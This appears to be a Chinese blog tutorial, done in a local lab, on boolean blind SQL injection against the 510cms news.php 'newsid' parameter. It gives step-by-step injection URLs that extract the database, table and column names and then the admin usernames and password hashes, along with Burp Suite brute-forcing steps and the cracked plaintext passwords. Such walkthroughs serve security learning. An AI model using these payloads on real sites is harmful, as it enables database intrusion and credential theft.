SQL注入之Bool盲注(510cms)

SQL注入之get可以参考:
https://blog.csdn.net/qq_45775897/article/details/122332051

一、查找是否存在SQL注入(注入点)

以510企业网站为例:
192.168.128.129为自己的IP地址(域名)
在这里插入图片描述
这里以漏洞参数id为例
?id=1id=1'进行测试,前提能够正常显示。
?id=1后面加上and 1=1两个结果都是真的,所以正常输出;
后面加上and 1=2如果正常输出,说明前后都是真的,则表示是字符型。反之是数值型
eg:

http://IP地址(域名)/news.php?cid=&listid=&newsid=24 and 1=1

二、猜数据库名长度

通过length()函数和database()来判断
eg:

http://192.168.128.129/news.php?cid=&listid=&newsid=24 and length(database())=6

数据库长度为6

三、猜数据库名

对数据库名的每一个字符进行猜测,利用>,<,=猜其ascii码。
eg:

http://192.168.128.129/news.php?cid=&listid=&newsid=24 and ascii(substr(database(),1,1))=53

数据库名为510cms

可以使用burp进行爆破(burp使用):

1.点击火狐的狐狸头,添加一个代理

在这里插入图片描述

2.Burp的option上也添加相同的端口

在这里插入图片描述

3.浏览器重新请求burp抓包

在这里插入图片描述

4.进行爆破

在这里插入图片描述
在这里插入图片描述
点击clear,并点击add添加
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
点击start attack
在这里插入图片描述

四、猜表名

猜数据库中表的个数

eg:

http://192.168.128.129/news.php?cid=&listid=&newsid=24 and (select count(table_name) from information_schema.tables where table_schema='510cms')=10

该数据库中有10个表

猜第一个表的长度

http://192.168.128.129/news.php?cid=&listid=&newsid=24 and (select length(table_name) from information_schema.tables where table_schema='510cms' limit 0,1)=9
第一个表长为9

猜第一个表名

http://192.168.128.129/news.php?cid=&listid=&newsid=24 and ascii(substr((select table_name from information_schema.tables where table_schema='510cms' limit 0,1),1,1))=53

根据表长可以猜得表名为510_admin

五、猜字段

猜字段数

http://192.168.128.129/news.php?cid=&listid=&newsid=24 and (select count(column_name) from information_schema.columns where table_schema='510cms' and table_name='510_admin')=5

该表有5个字段

猜字段名

http://192.168.128.129/news.php?cid=&listid=&newsid=24 and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='510cms' and table_name='510_admin'),1,1))=105

字段名为:id,mid,name,passwd,remark

六、猜用户名和密码

猜用户名:

http://192.168.128.129/news.php?cid=&listid=&newsid=24 and ascii(substr((select group_concat(name) from 510cms.510_admin),1,1))=56

用户名有:admin和lwphp

猜密码:

http://192.168.128.129/news.php?cid=&listid=&newsid=24 and ascii(substr((select group_concat(passwd) from 510cms.510_admin),1,1))=56

admin密码为:8dbdf8221fcf4bd6ac5a48317baa948c 即adminlwphp
lwphp密码为:0a7aacdfc4588232bd0beccf9408853f 即chinarenlwphp
测试后密码要去掉lwphp

注意

这里一般使用burp进行爆破会比较快,也可以自己一个一个猜。这里通过爆破
得到的是ascii码,要对其进行转换。

  • 1
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值